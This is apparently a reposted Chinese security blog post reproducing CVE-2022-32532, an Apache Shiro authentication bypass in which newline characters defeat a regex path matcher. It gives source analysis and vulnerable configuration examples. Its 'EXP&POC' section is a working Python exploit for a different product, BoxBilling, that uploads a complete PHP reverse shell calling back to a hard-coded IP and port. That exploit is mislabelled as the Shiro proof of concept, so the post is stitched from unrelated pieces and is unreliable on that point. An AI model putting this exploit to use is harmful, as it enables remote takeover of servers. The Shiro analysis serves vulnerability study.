CVE-2022-32532复现

admin 2024年11月13日15:29:10评论29 views字数 16438阅读54分47秒阅读模式

漏洞介绍

在SpringMVC下的利用场景以及拓展思路。当天阅读完发现这并不是Spring Security特有的漏洞,而是一种半通用的思路,连夜分析了Apache Shiro和Spring MVC以及其他可能的Java组件,甚至分析了Django和Ruby on Rails等其他语言框架,在凌晨发送了两篇漏洞报告,分别到Shiro和Spring的安全团队。对于SpringMVC中的问题我将在后文中解释,他们认为这并不是漏洞,仅是一个issue或者说改进功能

两句话评价CVE-2022-32532漏洞:这是一个鸡肋洞,需要罕见的配置下才可以绕过。假设能够绕过shiro的身份验证,在后端程序中大概率还会有其他的验证(以前的shiro绕过都有类似的问题)

基本原理

无论是CVE-2022-22978还是CVE-2022-32532本质都是以下的内容

在Java中的正则默认情况下.并不包含r和n字符,因此某些情况下正则规则可以被绕过

String regex = "a.*b";
Pattern pattern = Pattern.compile(regex);
boolean flag1 = pattern.matcher("aaabbb").matches();
// true
System.out.println(flag1);
boolean flag2 = pattern.matcher("aanbb").matches();
// false
System.out.println(flag2);

虽然说编写正则是开发者的责任,如果是完善的正则表达式则不会出现这类漏洞。但在开发者的意识中:如果配置了/permit/.*路径规则,他的目标应该是拦截所有/permit/下的请求,如果出现了意料之外的问题,可以认为是一种安全风险。从框架角度来说,有必要针对这种问题改善部分代码,目标是在通常的意识中不会出现意外的情况。针对于这种问题的修复其实很简单,加入一个flag即可

String regex = "a.*b";
// add DOTALL flag
Pattern pattern = Pattern.compile(regex,Pattern.DOTALL);
boolean flag1 = pattern.matcher("aaabbb").matches();
// true
System.out.println(flag1);
boolean flag2 = pattern.matcher("aanbb").matches();
// true
System.out.println(flag2);

源码分析

简单阅读Shiro源码后发现这样一个类:RegExPatternMatcher

参考上文的原理,一眼即可看出可能存在安全风险

public class RegExPatternMatcher implements PatternMatcher {
// ...
public boolean matches(String pattern, String source) {
if (pattern == null) {
throw new IllegalArgumentException("pattern argument cannot be null.");
}
// no DOTALL flag
Pattern p = Pattern.compile(pattern);
Matcher m = p.matcher(source);
return m.matches();
}
}

但不能仅因为一个类而确定安全漏洞,至少搭建出一个可用的漏洞环境,才有必要发送漏洞报告

在shiro中默认配置的Matcher是AntPathMatcher类,用于路径的匹配。而RegExPatternMatcher仅仅是shiro向开发者提供的另一个Matcher实现,在整个shiro项目中都没有出现,需要用户自行配置

CVE-2022-32532复现

使用shiro的过程中通常会有以下的配置

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(securityManager);
Map<String, String> map = new HashMap<>();
// 登出
map.put("/logout", "logout");
// 所有路径都需要认证
map.put("/**", "authc");
// 登录
shiroFilterFactoryBean.setLoginUrl("/login");
// 首页
shiroFilterFactoryBean.setSuccessUrl("/index");
// 错误页面,认证不通过跳转
shiroFilterFactoryBean.setUnauthorizedUrl("/error");
shiroFilterFactoryBean.setFilterChainDefinitionMap(map);
return shiroFilterFactoryBean;
}

其中的map记录了路径匹配的规则,跟入ShiroFilterFactoryBean分析,分析SecurityManager如何处理以上的配置

protected AbstractShiroFilter createInstance() throws Exception {
// 跟入分析
FilterChainManager manager = createFilterChainManager();
PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}

在createFilterChainManager方法处理完配置之后得到FilterChainManager对象。并配置一个Resolver类,该类名称很长,实际上可以理解为一个工具类,负责对路径进行匹配,根据规则处理每一个请求,判断该请求路径是否匹配到规则,将在后文分析。首先来看createFilterChainManager方法

protected FilterChainManager createFilterChainManager() {
DefaultFilterChainManager manager = new DefaultFilterChainManager();
// 默认的一系列filter
// 例如authc和anon等规则对应的filter
Map<String, Filter> defaultFilters = manager.getFilters();
// 向默认的filter添加规则集(登录url等信息)
for (Filter filter : defaultFilters.values()) {
applyGlobalPropertiesIfNecessary(filter);
}
// 用户是否自定义了其他的filter
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
// 逐个处理用户自定义的filter
for (Map.Entry<String, Filter> entry : filters.entrySet()) {
String name = entry.getKey();
Filter filter = entry.getValue();
applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable) filter).setName(name);
}
manager.addFilter(name, filter, false);
}
}
// 设置全局的filter
// 默认下只有InvalidRequestFilter
manager.setGlobalFilters(this.globalFilters);
// 这里获得了我们配置的规则集
// 例如map.put("/**", "authc");
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
for (Map.Entry<String, String> entry : chains.entrySet()) {
String url = entry.getKey();
String chainDefinition = entry.getValue();
// 解析规则添加到filter链中
manager.createChain(url, chainDefinition);
}
}
// 添加最后的链用于处理所有规则遗漏的部分
manager.createDefaultChain("/**");
return manager;
}

配置中的anon等字符串映射到对应的Filter中,如果我们想要自定义filter首先应该看懂这些默认的filter代码

public enum DefaultFilter {
anon(AnonymousFilter.class),
authc(FormAuthenticationFilter.class),
// ...
}

FormAuthenticationFilter的父类是AuthenticatingFilter类,它的继承实现关系如图

CVE-2022-32532复现

在服务端收到请求并传递到Servlet或Controller之前首先交给Filter处理

OncePerRequestFilter基类用于防止多次执行Filter并保证一次请求只会走一次拦截器链

AdviceFilter提供了AOP风格的支持,类似于SpringMVC中的Interceptor,其中定义了前置和后置增强处理的方法

PathMatchingFilter基于AOP提供了请求路径匹配功能及拦截器参数解析的功能

AccessControlFilter类是更偏向于上层的类,提供了访问控制的基础功能,比如是否允许访问或当访问拒绝时如何处理等

回到FormAuthenticationFilter类分析

public class FormAuthenticationFilter extends AuthenticatingFilter {
public FormAuthenticationFilter() {
setLoginUrl(DEFAULT_LOGIN_URL);
}
// 认证失败后的处理过程
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
// 是否是登录请求在 父类的父类 AccessControlFilter中实现
if (isLoginRequest(request, response)) {
// 判断是否是POST的登录请求
if (isLoginSubmission(request, response)) {
// 如果是登录url则执行登录
// 该方法在父类AuthenticatingFilter中实现
return executeLogin(request, response);
} else {
// 不是具体的登录请求但URL符合登录条件
// 也就是说这可能是一个普通的GET /login
// 返回true接下来返回到按照普通GET /login处理
return true;
}
} else {
// 不是登录请求则重定向到的登录页面
saveRequestAndRedirectToLogin(request, response);
return false;
}
}
}
// 是否登录请求
protected boolean isLoginSubmission(ServletRequest request, ServletResponse response) {
return (request instanceof HttpServletRequest) && WebUtils.toHttp(request).getMethod().equalsIgnoreCase(POST_METHOD);
}

进入AccessControlFilter分析如何进行路径匹配

protected boolean isLoginRequest(ServletRequest request, ServletResponse response) {
// 进入父类PathMatchingFilter的pathsMatch(String,ServletRequest)方法
return pathsMatch(getLoginUrl(), request);
}

可以发现分析和处理URL的类是PathMatchingFilter类

public abstract class PathMatchingFilter extends AdviceFilter implements PathConfigProcessor {
// 默认情况下的pathMatcher是AntPathMatcher
protected PatternMatcher pathMatcher = new AntPathMatcher();
// 记录了以及配置的规则但value一般是null(如/**->null)
protected Map<String, Object> appliedPaths = new LinkedHashMap<String, Object>();
// 核心方法:路径匹配(成功返回true)
protected boolean pathsMatch(String path, ServletRequest request) {
String requestURI = getPathWithinApplication(request);
boolean match = pathsMatch(path, requestURI);
// ...
return match;
}
protected boolean pathsMatch(String pattern, String path) {
// 找到了matcher.matches调用
boolean matches = pathMatcher.matches(pattern, path);
return matches;
}

// 前置处理
protected boolean preHandle(ServletRequest request, ServletResponse response) throws Exception {
if (this.appliedPaths == null || this.appliedPaths.isEmpty()) {
// 允许filter链继续执行
return true;
}
for (String path : this.appliedPaths.keySet()) {
if (pathsMatch(path, request)) {
log.trace("Current requestURI matches pattern '{}'. Determining filter chain execution...", path);
Object config = this.appliedPaths.get(path);
return isFilterChainContinued(request, response, path, config);
}
}
// 允许filter链继续执行
return true;
}
}

在PathMatchingFilter类中找到了matcher.matches方法调用,并且发现了默认情况下使用了AntPathMatcher类而不是正则的Matcher类

其实以上这么多的分析,目的是研究自定义Filter如何使用RegExPatternMatcher类

在阅读了一些shiro相关的开源项目后,发现他们总是继承AccessControlFilter做一些自定义。因为该类可以使用父类的pathsMatch方法进行匹配,且该类提供了几个实用的方法,在做web开发中很方便上手:

  • isAccessAllowed方法:用户自定义怎样的情况下认证成功

  • onAccessDenied方法:自定义认证失败后需要做什么

基于以上的原理,结合真实的场景,会出现以下这样的自定义Filter

  • 判断请求头中的Token是否匹配

  • 如果不存在Token或者Token头错误则认为认证失败

public class MyFilter extends AccessControlFilter {
public MyFilter(){
super();
// 注意自定义父类的pathMatcher属性为RegExPatternMatcher
this.pathMatcher = new RegExPatternMatcher();
}

@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
String token = ((HttpServletRequest)request).getHeader("Token");
// 实际上应该从数据库或者其他地方查询验证
// 这里仅简单地验证是否为4ra1n即可
return token != null && token.equals("4ra1n");
}

@Override
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) {
System.out.println("deny -> "+((HttpServletRequest)request).getRequestURI());
try {
response.getWriter().println("access denied");
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
}

虽然ShiroFilterFactoryBean提供了设置自定义Filter的方法,但该方法仅适用于使用Ant类型的Mathcer如果想要使用RegExPatternMatcher还有坑

public void setFilters(Map<String, Filter> filters) {
this.filters = filters;
}

可能是shiro设计方面的缺陷,在PathMatchingFilterChainResolver的两个构造方法中都使用了AntPathMatcher类,不支持在构造的时候设置Mathcer只提供了setMathcer这样的方法,在ShiroFilterFactoryBean的构造方法中同样不支持自定义Matcher,都默认使用了Ant的Matcher类

public PathMatchingFilterChainResolver() {
this.pathMatcher = new AntPathMatcher();
this.filterChainManager = new DefaultFilterChainManager();
}

public PathMatchingFilterChainResolver(FilterConfig filterConfig) {
this.pathMatcher = new AntPathMatcher();
this.filterChainManager = new DefaultFilterChainManager(filterConfig);
}

为了解决这个坑,自定义MyShiroFilterFactoryBean继承自ShiroFilterFactoryBean类,添加自定义的MyFilter并设置匹配规则为/permit/.*字符串,表示需要拦截/permit/下所有的路径,设置到Filter链管理器DefaultFilterChainManager中。并在最后指定PathMatchingFilterChainResolver的pathMatcher属性为RegExPatternMatcher否则会使用默认的Ant类型Matcher

我在github的一些开源shiro程序中看到自定义PathMatchingFilterChainResolver类的例子,也是另一种设置pathMatcher属性的方式

@Override
protected AbstractShiroFilter createInstance() {
SecurityManager securityManager = this.getSecurityManager();
FilterChainManager manager = new DefaultFilterChainManager();
manager.addFilter("myFilter",new MyFilter());
// my filter
manager.addToChain("/permit/.*", "myFilter");
// todo: add other filters

PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
chainResolver.setFilterChainManager(manager);
// set RegExPatternMatcher
chainResolver.setPathMatcher(new RegExPatternMatcher());
return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
}

给出一段来自真实开源项目的代码,他自定的Filter继承自AuthorizationFilter类,并且自定义了PathMatchingFilterChainResolver类

public MyPermissionsAuthorizationFilter(boolean regexExp) {
super();
this.regexExpMatcher = regexExp;
if (regexExp) {
pathMatcher = new RegExPatternMatcher();
}
}
protected boolean pathsMatch(String pattern, ServletRequest request) {
String requestURI = getPathWithinApplication(request);
if (request instanceof HttpServletRequest) {
String queryString = ((HttpServletRequest) request).getQueryString();
if (regexExpMatcher && !(queryString == null || queryString.length() == 0))
requestURI += ("?" + queryString);
}
String regex = pattern;
if (regexExpMatcher)
regex = MyPathMatchingFilterChainResolver.replacePattern(pattern);
return pathsMatch(regex, requestURI);
}

漏洞总结

漏洞的利用条件:目标配置了RegExPatternMatcher情况下且正则规则中包含了“.”则存在漏洞

漏洞测试环境:https://github.com/4ra1n/CVE-2022-32532

漏洞的利用场景如下:

  • 配置了/permit/{value}这样从路径取参数的路由

  • 配置了/permit/*这样的通配路由

@RestController
public class DemoController {
@RequestMapping(path = "/permit/{value}")
public String permit(@PathVariable String value) {
return "success";
}
@RequestMapping(path = "/permit/*")
public String permit() {
return "success";
}
}

拓展思考

在JavaWeb项目中并不完全使用Shiro或Spring-Security进行权限管理,在一些老站和入门程序中会使用SpringMVC的Interceptor功能

例如这里自定义一个Interceptor继承子HandlerInterceptor类,如果认证失败则不会到达Controller

@Component
public class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
// authorization
System.out.println(request.getRequestURI());
return false;
}
}

配置该Interceptor到SpringMVC中,设置路径为/permit/.*期望拦截所有/permit/下的请求

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new PermissionInterceptor()).addPathPatterns("/permit/{username:.*}");
}
}

定义对应的Controller

@RequestMapping("/permit/*")
@ResponseBody
public String test(HttpServletRequest request) throws Exception {
return "ok";
}

EXP&POC

#!/usr/bin/ pythonfrom pwn import *from sys import exitimport requestsimport argparsedef get_arguments():    parser = argparse.ArgumentParser()    parser.add_argument("-d", "--domain", dest="domain", help="Domain URL Address.")    parser.add_argument("-u", "--email", dest="email", help="Login Username.")    parser.add_argument("-p", "--password", dest="password", help="Login Password.")    parser.add_argument("-li", "--local-ip", dest="local_ip", help="Enter your IP Address.")    parser.add_argument("-lp", "--port", dest="port", help="Enter the port number.")    options = parser.parse_args()    return optionsclass Exploit:    def __init__(self, url, email, password):        self.session = None        self.url = url        self.email = email        self.password = password        # self.rce_command = rce_command    def login(self):        self.session = requests.Session()        login_url = self.url + "/api/guest/staff/login"        login_data = {            "email": {self.email},            "password": {self.password},            "remember": 1,        }        try:            login_session = self.session.post(login_url, data=login_data)            if "Check your login details" in login_session.text:                log.warn("login failed!")                exit(0)            if "Check your login details" not in login_session.text:                log.success("Successfully logged in")        except KeyboardInterrupt:            log.success("Exiting..")    def box_billing_rce_exploit(self):        try:            rce_php_payload = """  <?php  // php-reverse-shell - A Reverse Shell implementation in PHP  // Copyright (C) 2007 [email protected]  set_time_limit (0);  $VERSION = "1.0";  $ip = '192.168.228.128';  // You have changed this  $port = 1337;  // And this  $chunk_size = 1400;  $write_a = null;  $error_a = null;  $shell = 'uname -a; w; id; /bin/sh -i';  $daemon = 0;  $debug = 0;  //  // Daemonise ourself if possible to avoid zombies later  //  // pcntl_fork is hardly ever available, but will allow us to daemonise  // our php process and avoid zombies.  Worth a try...  if (function_exists('pcntl_fork')) {    // Fork and have the parent process exit    $pid = pcntl_fork();    if ($pid == -1) {      printit("ERROR: Can't fork");      exit(1);    }    if ($pid) {      exit(0);  // Parent exits    }    // Make the current process a session leader    // Will only succeed if we forked    if (posix_setsid() == -1) {      printit("Error: Can't setsid()");      exit(1);    }    $daemon = 1;  } else {    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");  }  // Change to a safe directory  chdir("/");  // Remove any umask we inherited  umask(0);  //  // Do the reverse shell...  //  // Open reverse connection  $sock = fsockopen($ip, $port, $errno, $errstr, 30);  if (!$sock) {    printit("$errstr ($errno)");    exit(1);  }  // Spawn shell process  $descriptorspec = array(    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to    2 => array("pipe", "w")   // stderr is a pipe that the child will write to  );  $process = proc_open($shell, $descriptorspec, $pipes);  if (!is_resource($process)) {    printit("ERROR: Can't spawn shell");    exit(1);  }  // Set everything to non-blocking  // Reason: Occsionally reads will block, even though stream_select tells us they won't  stream_set_blocking($pipes[0], 0);  stream_set_blocking($pipes[1], 0);  stream_set_blocking($pipes[2], 0);  stream_set_blocking($sock, 0);  printit("Successfully opened reverse shell to $ip:$port");  while (1) {    // Check for end of TCP connection    if (feof($sock)) {      printit("ERROR: Shell connection terminated");      break;    }    // Check for end of STDOUT    if (feof($pipes[1])) {      printit("ERROR: Shell process terminated");      break;    }    // Wait until a command is end down $sock, or some    // command output is available on STDOUT or STDERR    $read_a = array($sock, $pipes[1], $pipes[2]);    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);    // If we can read from the TCP socket, send    // data to process's STDIN    if (in_array($sock, $read_a)) {      if ($debug) printit("SOCK READ");      $input = fread($sock, $chunk_size);      if ($debug) printit("SOCK: $input");      fwrite($pipes[0], $input);    }    // If we can read from the process's STDOUT    // send data down tcp connection    if (in_array($pipes[1], $read_a)) {      if ($debug) printit("STDOUT READ");      $input = fread($pipes[1], $chunk_size);      if ($debug) printit("STDOUT: $input");      fwrite($sock, $input);    }    // If we can read from the process's STDERR    // send data down tcp connection    if (in_array($pipes[2], $read_a)) {      if ($debug) printit("STDERR READ");      $input = fread($pipes[2], $chunk_size);      if ($debug) printit("STDERR: $input");      fwrite($sock, $input);    }  }  fclose($sock);  fclose($pipes[0]);  fclose($pipes[1]);  fclose($pipes[2]);  proc_close($process);  // Like print, but does nothing if we've daemonised ourself  // (I can't figure out how to redirect STDOUT like a proper daemon)  function printit ($string) {    if (!$daemon) {      print "$string";    }  }  ?>             """            new_payload_file = "new_exploit.php"            request_headers = {                "Content-Type":  "application/x-www-form-urlencoded"            }            data = {                "order_id": 1,                "path": new_payload_file,                "data": rce_php_payload            }            self.session.post(                self.url + "/index.php?_url=/api/admin/Filemanager/save_file",                headers=request_headers,                data=data            )            log.success("Payload saved successfully")            log.success("Getting Shell")            requests.get(self.url + "/" + new_payload_file)            exit(0)        except KeyboardInterrupt:            log.success("Exiting..")if __name__ == "__main__":    options = get_arguments()    url_ip = options.domain    box_billing_email = options.email    box_billing_password = options.password    exploit = Exploit(url_ip, box_billing_email, box_billing_password)    exploit.login()    exploit.box_billing_rce_exploit()

参考链接

http://www.hackdig.com/06/hack-703460.htmhttps://github.com/kabir0x23/CVE-2022-3552/blob/main/CVE-2022-3552.py

CVE-2022-32532复现

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(无问之路):CVE-2022-32532复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日15:29:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-32532复现https://cn-sec.com/archives/1653074.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息